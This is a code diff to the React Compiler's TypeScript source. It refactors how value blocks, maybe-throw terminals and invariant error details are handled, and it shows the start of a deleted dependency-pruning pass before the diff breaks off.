@@ -938,180 +892,137 @@ class Driver {
|
||||
}
|
||||
|
||||
visitValueBlock(
|
||||
id: BlockId,
|
||||
blockId: BlockId,
|
||||
loc: SourceLocation,
|
||||
fallthrough: BlockId | null = null,
|
||||
): {block: BlockId; value: ReactiveValue; place: Place; id: InstructionId} {
|
||||
const defaultBlock = this.cx.ir.blocks.get(id)!;
|
||||
if (defaultBlock.terminal.kind === 'branch') {
|
||||
const instructions = defaultBlock.instructions;
|
||||
if (instructions.length === 0) {
|
||||
const block = this.cx.ir.blocks.get(blockId)!;
|
||||
// If we've reached the fallthrough block, stop recursing
|
||||
if (fallthrough !== null && blockId === fallthrough) {
|
||||
CompilerError.invariant(false, {
|
||||
reason: 'Did not expect to reach the fallthrough of a value block',
|
||||
description: `Reached bb${blockId}, which is the fallthrough for this value block`,
|
||||
loc,
|
||||
});
|
||||
}
|
||||
if (block.terminal.kind === 'branch') {
|
||||
if (block.instructions.length === 0) {
|
||||
return {
|
||||
block: defaultBlock.id,
|
||||
place: defaultBlock.terminal.test,
|
||||
block: block.id,
|
||||
place: block.terminal.test,
|
||||
value: {
|
||||
kind: 'LoadLocal',
|
||||
place: defaultBlock.terminal.test,
|
||||
loc: defaultBlock.terminal.test.loc,
|
||||
place: block.terminal.test,
|
||||
loc: block.terminal.test.loc,
|
||||
},
|
||||
id: defaultBlock.terminal.id,
|
||||
};
|
||||
} else if (defaultBlock.instructions.length === 1) {
|
||||
const instr = defaultBlock.instructions[0]!;
|
||||
CompilerError.invariant(
|
||||
instr.lvalue.identifier.id ===
|
||||
defaultBlock.terminal.test.identifier.id,
|
||||
{
|
||||
reason:
|
||||
'Expected branch block to end in an instruction that sets the test value',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: instr.lvalue.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
},
|
||||
);
|
||||
return {
|
||||
block: defaultBlock.id,
|
||||
place: instr.lvalue!,
|
||||
value: instr.value,
|
||||
id: instr.id,
|
||||
};
|
||||
} else {
|
||||
const instr = defaultBlock.instructions.at(-1)!;
|
||||
const sequence: ReactiveSequenceValue = {
|
||||
kind: 'SequenceExpression',
|
||||
instructions: defaultBlock.instructions.slice(0, -1),
|
||||
id: instr.id,
|
||||
value: instr.value,
|
||||
loc: loc,
|
||||
};
|
||||
return {
|
||||
block: defaultBlock.id,
|
||||
place: defaultBlock.terminal.test,
|
||||
value: sequence,
|
||||
id: defaultBlock.terminal.id,
|
||||
id: block.terminal.id,
|
||||
};
|
||||
}
|
||||
} else if (defaultBlock.terminal.kind === 'goto') {
|
||||
const instructions = defaultBlock.instructions;
|
||||
if (instructions.length === 0) {
|
||||
return this.extractValueBlockResult(block.instructions, block.id, loc);
|
||||
} else if (block.terminal.kind === 'goto') {
|
||||
if (block.instructions.length === 0) {
|
||||
CompilerError.invariant(false, {
|
||||
reason: 'Expected goto value block to have at least one instruction',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
reason: 'Unexpected empty block with `goto` terminal',
|
||||
description: `Block bb${block.id} is empty`,
|
||||
loc,
|
||||
});
|
||||
} else if (defaultBlock.instructions.length === 1) {
|
||||
const instr = defaultBlock.instructions[0]!;
|
||||
let place: Place = instr.lvalue;
|
||||
let value: ReactiveValue = instr.value;
|
||||
if (
|
||||
/*
|
||||
* Value blocks generally end in a StoreLocal to assign the value of the
|
||||
* expression for this branch. These StoreLocal instructions can be pruned,
|
||||
* since we represent the value blocks as a compund value in ReactiveFunction
|
||||
* (no phis). However, it's also possible to have a value block that ends in
|
||||
* an AssignmentExpression, which we need to keep. So we only prune
|
||||
* StoreLocal for temporaries — any named/promoted values must be used
|
||||
* elsewhere and aren't safe to prune.
|
||||
*/
|
||||
value.kind === 'StoreLocal' &&
|
||||
value.lvalue.place.identifier.name === null
|
||||
) {
|
||||
place = value.lvalue.place;
|
||||
value = {
|
||||
kind: 'LoadLocal',
|
||||
place: value.value,
|
||||
loc: value.value.loc,
|
||||
};
|
||||
}
|
||||
return {
|
||||
block: defaultBlock.id,
|
||||
place,
|
||||
value,
|
||||
id: instr.id,
|
||||
};
|
||||
} else {
|
||||
const instr = defaultBlock.instructions.at(-1)!;
|
||||
let place: Place = instr.lvalue;
|
||||
let value: ReactiveValue = instr.value;
|
||||
if (
|
||||
/*
|
||||
* Value blocks generally end in a StoreLocal to assign the value of the
|
||||
* expression for this branch. These StoreLocal instructions can be pruned,
|
||||
* since we represent the value blocks as a compund value in ReactiveFunction
|
||||
* (no phis). However, it's also possible to have a value block that ends in
|
||||
* an AssignmentExpression, which we need to keep. So we only prune
|
||||
* StoreLocal for temporaries — any named/promoted values must be used
|
||||
* elsewhere and aren't safe to prune.
|
||||
*/
|
||||
value.kind === 'StoreLocal' &&
|
||||
value.lvalue.place.identifier.name === null
|
||||
) {
|
||||
place = value.lvalue.place;
|
||||
value = {
|
||||
kind: 'LoadLocal',
|
||||
place: value.value,
|
||||
loc: value.value.loc,
|
||||
};
|
||||
}
|
||||
const sequence: ReactiveSequenceValue = {
|
||||
kind: 'SequenceExpression',
|
||||
instructions: defaultBlock.instructions.slice(0, -1),
|
||||
id: instr.id,
|
||||
value,
|
||||
loc: loc,
|
||||
};
|
||||
return {
|
||||
block: defaultBlock.id,
|
||||
place,
|
||||
value: sequence,
|
||||
id: instr.id,
|
||||
};
|
||||
}
|
||||
return this.extractValueBlockResult(block.instructions, block.id, loc);
|
||||
} else if (block.terminal.kind === 'maybe-throw') {
|
||||
/*
|
||||
* ReactiveFunction does not explicitly model maybe-throw semantics,
|
||||
* so maybe-throw terminals in value blocks flatten away. In general
|
||||
* we recurse to the continuation block.
|
||||
*
|
||||
* However, if the last portion
|
||||
* of the value block is a potentially throwing expression, then the
|
||||
* value block could be of the form
|
||||
* ```
|
||||
* bb1:
|
||||
* ...StoreLocal for the value block...
|
||||
* maybe-throw continuation=bb2
|
||||
* bb2:
|
||||
* goto (exit the value block)
|
||||
* ```
|
||||
*
|
||||
* Ie what would have been a StoreLocal+goto is split up because of
|
||||
* the maybe-throw. We detect this case and return the value of the
|
||||
* current block as the result of the value block
|
||||
*/
|
||||
const continuationId = block.terminal.continuation;
|
||||
const continuationBlock = this.cx.ir.blocks.get(continuationId)!;
|
||||
if (
|
||||
continuationBlock.instructions.length === 0 &&
|
||||
continuationBlock.terminal.kind === 'goto'
|
||||
) {
|
||||
return this.extractValueBlockResult(
|
||||
block.instructions,
|
||||
continuationBlock.id,
|
||||
loc,
|
||||
);
|
||||
}
|
||||
|
||||
const continuation = this.visitValueBlock(
|
||||
continuationId,
|
||||
loc,
|
||||
fallthrough,
|
||||
);
|
||||
return this.wrapWithSequence(block.instructions, continuation, loc);
|
||||
} else {
|
||||
/*
|
||||
* The value block ended in a value terminal, recurse to get the value
|
||||
* of that terminal
|
||||
* of that terminal and stitch them together in a sequence.
|
||||
*/
|
||||
const init = this.visitValueBlockTerminal(defaultBlock.terminal);
|
||||
// Code following the logical terminal
|
||||
const init = this.visitValueBlockTerminal(block.terminal);
|
||||
const final = this.visitValueBlock(init.fallthrough, loc);
|
||||
// Stitch the two together...
|
||||
const sequence: ReactiveSequenceValue = {
|
||||
kind: 'SequenceExpression',
|
||||
instructions: [
|
||||
...defaultBlock.instructions,
|
||||
{
|
||||
id: init.id,
|
||||
loc,
|
||||
lvalue: init.place,
|
||||
value: init.value,
|
||||
},
|
||||
return this.wrapWithSequence(
|
||||
[
|
||||
...block.instructions,
|
||||
{id: init.id, loc, lvalue: init.place, value: init.value},
|
||||
],
|
||||
id: final.id,
|
||||
value: final.value,
|
||||
final,
|
||||
loc,
|
||||
};
|
||||
return {
|
||||
block: final.block,
|
||||
value: sequence,
|
||||
place: final.place,
|
||||
id: final.id,
|
||||
};
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Visits the test block of a value terminal (optional, logical, ternary) and
|
||||
* returns the result along with the branch terminal. Throws a todo error if
|
||||
* the test block does not end in a branch terminal.
|
||||
*/
|
||||
visitTestBlock(
|
||||
testBlockId: BlockId,
|
||||
loc: SourceLocation,
|
||||
terminalKind: string,
|
||||
): {
|
||||
test: {
|
||||
block: BlockId;
|
||||
value: ReactiveValue;
|
||||
place: Place;
|
||||
id: InstructionId;
|
||||
};
|
||||
branch: {consequent: BlockId; alternate: BlockId; loc: SourceLocation};
|
||||
} {
|
||||
const test = this.visitValueBlock(testBlockId, loc);
|
||||
const testBlock = this.cx.ir.blocks.get(test.block)!;
|
||||
if (testBlock.terminal.kind !== 'branch') {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Expected a branch terminal for ${terminalKind} test block`,
|
||||
description: `Got \`${testBlock.terminal.kind}\``,
|
||||
loc: testBlock.terminal.loc,
|
||||
});
|
||||
}
|
||||
return {
|
||||
test,
|
||||
branch: {
|
||||
consequent: testBlock.terminal.consequent,
|
||||
alternate: testBlock.terminal.alternate,
|
||||
loc: testBlock.terminal.loc,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
visitValueBlockTerminal(terminal: Terminal): {
|
||||
value: ReactiveValue;
|
||||
place: Place;
|
||||
@@ -1120,7 +1031,11 @@ class Driver {
|
||||
} {
|
||||
switch (terminal.kind) {
|
||||
case 'sequence': {
|
||||
const block = this.visitValueBlock(terminal.block, terminal.loc);
|
||||
const block = this.visitValueBlock(
|
||||
terminal.block,
|
||||
terminal.loc,
|
||||
terminal.fallthrough,
|
||||
);
|
||||
return {
|
||||
value: block.value,
|
||||
place: block.place,
|
||||
@@ -1129,26 +1044,22 @@ class Driver {
|
||||
};
|
||||
}
|
||||
case 'optional': {
|
||||
const test = this.visitValueBlock(terminal.test, terminal.loc);
|
||||
const testBlock = this.cx.ir.blocks.get(test.block)!;
|
||||
if (testBlock.terminal.kind !== 'branch') {
|
||||
CompilerError.throwTodo({
|
||||
reason: `Unexpected terminal kind \`${testBlock.terminal.kind}\` for optional test block`,
|
||||
description: null,
|
||||
loc: testBlock.terminal.loc,
|
||||
suggestions: null,
|
||||
});
|
||||
}
|
||||
const consequent = this.visitValueBlock(
|
||||
testBlock.terminal.consequent,
|
||||
const {test, branch} = this.visitTestBlock(
|
||||
terminal.test,
|
||||
terminal.loc,
|
||||
'optional',
|
||||
);
|
||||
const consequent = this.visitValueBlock(
|
||||
branch.consequent,
|
||||
terminal.loc,
|
||||
terminal.fallthrough,
|
||||
);
|
||||
const call: ReactiveSequenceValue = {
|
||||
kind: 'SequenceExpression',
|
||||
instructions: [
|
||||
{
|
||||
id: test.id,
|
||||
loc: testBlock.terminal.loc,
|
||||
loc: branch.loc,
|
||||
lvalue: test.place,
|
||||
value: test.value,
|
||||
},
|
||||
@@ -1171,20 +1082,15 @@ class Driver {
|
||||
};
|
||||
}
|
||||
case 'logical': {
|
||||
const test = this.visitValueBlock(terminal.test, terminal.loc);
|
||||
const testBlock = this.cx.ir.blocks.get(test.block)!;
|
||||
if (testBlock.terminal.kind !== 'branch') {
|
||||
CompilerError.throwTodo({
|
||||
reason: `Unexpected terminal kind \`${testBlock.terminal.kind}\` for logical test block`,
|
||||
description: null,
|
||||
loc: testBlock.terminal.loc,
|
||||
suggestions: null,
|
||||
});
|
||||
}
|
||||
|
||||
const leftFinal = this.visitValueBlock(
|
||||
testBlock.terminal.consequent,
|
||||
const {test, branch} = this.visitTestBlock(
|
||||
terminal.test,
|
||||
terminal.loc,
|
||||
'logical',
|
||||
);
|
||||
const leftFinal = this.visitValueBlock(
|
||||
branch.consequent,
|
||||
terminal.loc,
|
||||
terminal.fallthrough,
|
||||
);
|
||||
const left: ReactiveSequenceValue = {
|
||||
kind: 'SequenceExpression',
|
||||
@@ -1201,8 +1107,9 @@ class Driver {
|
||||
loc: terminal.loc,
|
||||
};
|
||||
const right = this.visitValueBlock(
|
||||
testBlock.terminal.alternate,
|
||||
branch.alternate,
|
||||
terminal.loc,
|
||||
terminal.fallthrough,
|
||||
);
|
||||
const value: ReactiveLogicalValue = {
|
||||
kind: 'LogicalExpression',
|
||||
@@ -1219,23 +1126,20 @@ class Driver {
|
||||
};
|
||||
}
|
||||
case 'ternary': {
|
||||
const test = this.visitValueBlock(terminal.test, terminal.loc);
|
||||
const testBlock = this.cx.ir.blocks.get(test.block)!;
|
||||
if (testBlock.terminal.kind !== 'branch') {
|
||||
CompilerError.throwTodo({
|
||||
reason: `Unexpected terminal kind \`${testBlock.terminal.kind}\` for ternary test block`,
|
||||
description: null,
|
||||
loc: testBlock.terminal.loc,
|
||||
suggestions: null,
|
||||
});
|
||||
}
|
||||
const consequent = this.visitValueBlock(
|
||||
testBlock.terminal.consequent,
|
||||
const {test, branch} = this.visitTestBlock(
|
||||
terminal.test,
|
||||
terminal.loc,
|
||||
'ternary',
|
||||
);
|
||||
const consequent = this.visitValueBlock(
|
||||
branch.consequent,
|
||||
terminal.loc,
|
||||
terminal.fallthrough,
|
||||
);
|
||||
const alternate = this.visitValueBlock(
|
||||
testBlock.terminal.alternate,
|
||||
branch.alternate,
|
||||
terminal.loc,
|
||||
terminal.fallthrough,
|
||||
);
|
||||
const value: ReactiveTernaryValue = {
|
||||
kind: 'ConditionalExpression',
|
||||
@@ -1253,11 +1157,10 @@ class Driver {
|
||||
};
|
||||
}
|
||||
case 'maybe-throw': {
|
||||
CompilerError.throwTodo({
|
||||
reason: `Support value blocks (conditional, logical, optional chaining, etc) within a try/catch statement`,
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected maybe-throw in visitValueBlockTerminal - should be handled in visitValueBlock`,
|
||||
description: null,
|
||||
loc: terminal.loc,
|
||||
suggestions: null,
|
||||
});
|
||||
}
|
||||
case 'label': {
|
||||
@@ -1292,28 +1195,13 @@ class Driver {
|
||||
if (target === null) {
|
||||
CompilerError.invariant(false, {
|
||||
reason: 'Expected a break target',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
if (this.cx.scopeFallthroughs.has(target.block)) {
|
||||
CompilerError.invariant(target.type === 'implicit', {
|
||||
reason: 'Expected reactive scope to implicitly break to fallthrough',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc,
|
||||
});
|
||||
return null;
|
||||
}
|
||||
@@ -1338,15 +1226,7 @@ class Driver {
|
||||
const target = this.cx.getContinueTarget(block);
|
||||
CompilerError.invariant(target !== null, {
|
||||
reason: `Expected continue target to be scheduled for bb${block}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
|
||||
return {
|
||||
@@ -1419,15 +1299,7 @@ class Context {
|
||||
const id = this.#nextScheduleId++;
|
||||
CompilerError.invariant(!this.#scheduled.has(block), {
|
||||
reason: `Break block is already scheduled: bb${block}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
this.#scheduled.add(block);
|
||||
this.#controlFlowStack.push({block, id, type});
|
||||
@@ -1444,15 +1316,7 @@ class Context {
|
||||
this.#scheduled.add(fallthroughBlock);
|
||||
CompilerError.invariant(!this.#scheduled.has(continueBlock), {
|
||||
reason: `Continue block is already scheduled: bb${continueBlock}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
this.#scheduled.add(continueBlock);
|
||||
let ownsLoop = false;
|
||||
@@ -1478,15 +1342,7 @@ class Context {
|
||||
const last = this.#controlFlowStack.pop();
|
||||
CompilerError.invariant(last !== undefined && last.id === scheduleId, {
|
||||
reason: 'Can only unschedule the last target',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
if (last.type !== 'loop' || last.ownsBlock !== null) {
|
||||
this.#scheduled.delete(last.block);
|
||||
@@ -1559,15 +1415,7 @@ class Context {
|
||||
|
||||
CompilerError.invariant(false, {
|
||||
reason: 'Expected a break target',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -75,13 +75,7 @@ export function flattenScopesWithHooksOrUseHIR(fn: HIRFunction): void {
|
||||
CompilerError.invariant(terminal.kind === 'scope', {
|
||||
reason: `Expected block to have a scope terminal`,
|
||||
description: `Expected block bb${block.id} to end in a scope terminal`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
const body = fn.body.blocks.get(terminal.block)!;
|
||||
if (
|
||||
|
||||
@@ -143,7 +143,7 @@ export function inferReactiveScopeVariables(fn: HIRFunction): void {
|
||||
}
|
||||
|
||||
/*
|
||||
* Validate that all scopes have properly intialized, valid mutable ranges
|
||||
* Validate that all scopes have properly initialized, valid mutable ranges
|
||||
* within the span of instructions for this function, ie from 1 to 1 past
|
||||
* the last instruction id.
|
||||
*/
|
||||
@@ -162,16 +162,10 @@ export function inferReactiveScopeVariables(fn: HIRFunction): void {
|
||||
});
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Invalid mutable range for scope`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
description: `Scope @${scope.id} has range [${scope.range.start}:${
|
||||
scope.range.end
|
||||
}] but the valid range is [1:${maxInstruction + 1}]`,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
import {CompilerError} from '..';
|
||||
import {
|
||||
DeclarationId,
|
||||
GeneratedSource,
|
||||
InstructionId,
|
||||
InstructionKind,
|
||||
Place,
|
||||
@@ -161,15 +162,7 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
|
||||
CompilerError.invariant(current !== null, {
|
||||
reason:
|
||||
'MergeConsecutiveScopes: expected current scope to be non-null if reset()',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
if (current.to > current.from + 1) {
|
||||
merged.push(current);
|
||||
@@ -383,15 +376,7 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
|
||||
CompilerError.invariant(mergedScope.kind === 'scope', {
|
||||
reason:
|
||||
'MergeConsecutiveScopes: Expected scope starting index to be a scope',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
nextInstructions.push(mergedScope);
|
||||
index++;
|
||||
@@ -485,6 +470,7 @@ function canMergeScopes(
|
||||
identifier: declaration.identifier,
|
||||
reactive: true,
|
||||
path: [],
|
||||
loc: GeneratedSource,
|
||||
})),
|
||||
),
|
||||
next.scope.dependencies,
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
|
||||
import {CompilerError} from '../CompilerError';
|
||||
import {
|
||||
GeneratedSource,
|
||||
PrunedReactiveScopeBlock,
|
||||
ReactiveFunction,
|
||||
ReactiveScope,
|
||||
@@ -21,6 +22,7 @@ import {
|
||||
printIdentifier,
|
||||
printInstructionValue,
|
||||
printPlace,
|
||||
printSourceLocation,
|
||||
printType,
|
||||
} from '../HIR/PrintHIR';
|
||||
import {assertExhaustive} from '../Utils/utils';
|
||||
@@ -113,7 +115,7 @@ export function printDependency(dependency: ReactiveScopeDependency): string {
|
||||
const identifier =
|
||||
printIdentifier(dependency.identifier) +
|
||||
printType(dependency.identifier.type);
|
||||
return `${identifier}${dependency.path.map(token => `${token.optional ? '?.' : '.'}${token.property}`).join('')}`;
|
||||
return `${identifier}${dependency.path.map(token => `${token.optional ? '?.' : '.'}${token.property}`).join('')}_${printSourceLocation(dependency.loc)}`;
|
||||
}
|
||||
|
||||
export function printReactiveInstructions(
|
||||
@@ -322,15 +324,7 @@ function writeTerminal(writer: Writer, terminal: ReactiveTerminal): void {
|
||||
const block = case_.block;
|
||||
CompilerError.invariant(block != null, {
|
||||
reason: 'Expected case to have a block',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: case_.test?.loc ?? null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: case_.test?.loc ?? GeneratedSource,
|
||||
});
|
||||
writeReactiveInstructions(writer, block);
|
||||
});
|
||||
|
||||
@@ -290,14 +290,7 @@ class PromoteInterposedTemporaries extends ReactiveFunctionVisitor<InterState> {
|
||||
CompilerError.invariant(lval.identifier.name != null, {
|
||||
reason:
|
||||
'PromoteInterposedTemporaries: Assignment targets not expected to be temporaries',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: instruction.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: instruction.loc,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -460,15 +453,7 @@ function promoteIdentifier(identifier: Identifier, state: State): void {
|
||||
CompilerError.invariant(identifier.name === null, {
|
||||
reason:
|
||||
'promoteTemporary: Expected to be called only for temporary variables',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
if (state.tags.has(identifier.declarationId)) {
|
||||
promoteTemporaryJsxTag(identifier);
|
||||
|
||||
@@ -145,14 +145,7 @@ class Visitor extends ReactiveFunctionTransform<VisitorState> {
|
||||
if (maybeHoistedFn != null) {
|
||||
CompilerError.invariant(maybeHoistedFn.kind === 'func', {
|
||||
reason: '[PruneHoistedContexts] Unexpected hoisted function',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: instruction.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: instruction.loc,
|
||||
});
|
||||
maybeHoistedFn.definition = instruction.value.lvalue.place;
|
||||
/**
|
||||
|
||||
@@ -1,301 +0,0 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import {CompilerError} from '../CompilerError';
|
||||
import {
|
||||
Environment,
|
||||
Identifier,
|
||||
IdentifierId,
|
||||
InstructionId,
|
||||
Place,
|
||||
PropertyLiteral,
|
||||
ReactiveBlock,
|
||||
ReactiveFunction,
|
||||
ReactiveInstruction,
|
||||
ReactiveScopeBlock,
|
||||
ReactiveTerminalStatement,
|
||||
getHookKind,
|
||||
isUseRefType,
|
||||
isUseStateType,
|
||||
} from '../HIR';
|
||||
import {eachCallArgument, eachInstructionLValue} from '../HIR/visitors';
|
||||
import DisjointSet from '../Utils/DisjointSet';
|
||||
import {assertExhaustive} from '../Utils/utils';
|
||||
import {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';
|
||||
|
||||
/**
|
||||
* This pass is built based on the observation by @jbrown215 that arguments
|
||||
* to useState and useRef are only used the first time a component is rendered.
|
||||
* Any subsequent times, the arguments will be evaluated but ignored. In this pass,
|
||||
* we use this fact to improve the output of the compiler by not recomputing values that
|
||||
* are only used as arguments (or inputs to arguments to) useState and useRef.
|
||||
*
|
||||
* This pass isn't yet stress-tested so it's not enabled by default. It's only enabled
|
||||
* to support certain debug modes that detect non-idempotent code, since non-idempotent
|
||||
* code can "safely" be used if its only passed to useState and useRef. We plan to rewrite
|
||||
* this pass in HIR and enable it as an optimization in the future.
|
||||
*
|
||||
* Algorithm:
|
||||
* We take two passes over the reactive function AST. In the first pass, we gather
|
||||
* aliases and build relationships between property accesses--the key thing we need
|
||||
* to do here is to find that, e.g., $0.x and $1 refer to the same value if
|
||||
* $1 = PropertyLoad $0.x.
|
||||
*
|
||||
* In the second pass, we traverse the AST in reverse order and track how each place
|
||||
* is used. If a place is read from in any Terminal, we mark the place as "Update", meaning
|
||||
* it is used whenever the component is updated/re-rendered. If a place is read from in
|
||||
* a useState or useRef hook call, we mark it as "Create", since it is only used when the
|
||||
* component is created. In other instructions, we propagate the inferred place for the
|
||||
* instructions lvalues onto any other instructions that are read.
|
||||
*
|
||||
* Whenever we finish this reverse pass over a reactive block, we can look at the blocks
|
||||
* dependencies and see whether the dependencies are used in an "Update" context or only
|
||||
* in a "Create" context. If a dependency is create-only, then we can remove that dependency
|
||||
* from the block.
|
||||
*/
|
||||
|
||||
type CreateUpdate = 'Create' | 'Update' | 'Unknown';
|
||||
|
||||
type KindMap = Map<IdentifierId, CreateUpdate>;
|
||||
|
||||
class Visitor extends ReactiveFunctionVisitor<CreateUpdate> {
|
||||
map: KindMap = new Map();
|
||||
aliases: DisjointSet<IdentifierId>;
|
||||
paths: Map<IdentifierId, Map<PropertyLiteral, IdentifierId>>;
|
||||
env: Environment;
|
||||
|
||||
constructor(
|
||||
env: Environment,
|
||||
aliases: DisjointSet<IdentifierId>,
|
||||
paths: Map<IdentifierId, Map<PropertyLiteral, IdentifierId>>,
|
||||
) {
|
||||
super();
|
||||
this.aliases = aliases;
|
||||
this.paths = paths;
|
||||
this.env = env;
|
||||
}
|
||||
|
||||
join(values: Array<CreateUpdate>): CreateUpdate {
|
||||
function join2(l: CreateUpdate, r: CreateUpdate): CreateUpdate {
|
||||
if (l === 'Update' || r === 'Update') {
|
||||
return 'Update';
|
||||
} else if (l === 'Create' || r === 'Create') {
|
||||
return 'Create';
|
||||
} else if (l === 'Unknown' || r === 'Unknown') {
|
||||
return 'Unknown';
|
||||
}
|
||||
assertExhaustive(r, `Unhandled variable kind ${r}`);
|
||||
}
|
||||
return values.reduce(join2, 'Unknown');
|
||||
}
|
||||
|
||||
isCreateOnlyHook(id: Identifier): boolean {
|
||||
return isUseStateType(id) || isUseRefType(id);
|
||||
}
|
||||
|
||||
override visitPlace(
|
||||
_: InstructionId,
|
||||
place: Place,
|
||||
state: CreateUpdate,
|
||||
): void {
|
||||
this.map.set(
|
||||
place.identifier.id,
|
||||
this.join([state, this.map.get(place.identifier.id) ?? 'Unknown']),
|
||||
);
|
||||
}
|
||||
|
||||
override visitBlock(block: ReactiveBlock, state: CreateUpdate): void {
|
||||
super.visitBlock([...block].reverse(), state);
|
||||
}
|
||||
|
||||
override visitInstruction(instruction: ReactiveInstruction): void {
|
||||
const state = this.join(
|
||||
[...eachInstructionLValue(instruction)].map(
|
||||
operand => this.map.get(operand.identifier.id) ?? 'Unknown',
|
||||
),
|
||||
);
|
||||
|
||||
const visitCallOrMethodNonArgs = (): void => {
|
||||
switch (instruction.value.kind) {
|
||||
case 'CallExpression': {
|
||||
this.visitPlace(instruction.id, instruction.value.callee, state);
|
||||
break;
|
||||
}
|
||||
case 'MethodCall': {
|
||||
this.visitPlace(instruction.id, instruction.value.property, state);
|
||||
this.visitPlace(instruction.id, instruction.value.receiver, state);
|
||||
break;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const isHook = (): boolean => {
|
||||
let callee = null;
|
||||
switch (instruction.value.kind) {
|
||||
case 'CallExpression': {
|
||||
callee = instruction.value.callee.identifier;
|
||||
break;
|
||||
}
|
||||
case 'MethodCall': {
|
||||
callee = instruction.value.property.identifier;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return callee != null && getHookKind(this.env, callee) != null;
|
||||
};
|
||||
|
||||
switch (instruction.value.kind) {
|
||||
case 'CallExpression':
|
||||
case 'MethodCall': {
|
||||
if (
|
||||
instruction.lvalue &&
|
||||
this.isCreateOnlyHook(instruction.lvalue.identifier)
|
||||
) {
|
||||
[...eachCallArgument(instruction.value.args)].forEach(operand =>
|
||||
this.visitPlace(instruction.id, operand, 'Create'),
|
||||
);
|
||||
visitCallOrMethodNonArgs();
|
||||
} else {
|
||||
this.traverseInstruction(instruction, isHook() ? 'Update' : state);
|
||||
}
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
this.traverseInstruction(instruction, state);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override visitScope(scope: ReactiveScopeBlock): void {
|
||||
const state = this.join(
|
||||
[
|
||||
...scope.scope.declarations.keys(),
|
||||
...[...scope.scope.reassignments.values()].map(ident => ident.id),
|
||||
].map(id => this.map.get(id) ?? 'Unknown'),
|
||||
);
|
||||
super.visitScope(scope, state);
|
||||
[...scope.scope.dependencies].forEach(ident => {
|
||||
let target: undefined | IdentifierId =
|
||||
this.aliases.find(ident.identifier.id) ?? ident.identifier.id;
|
||||
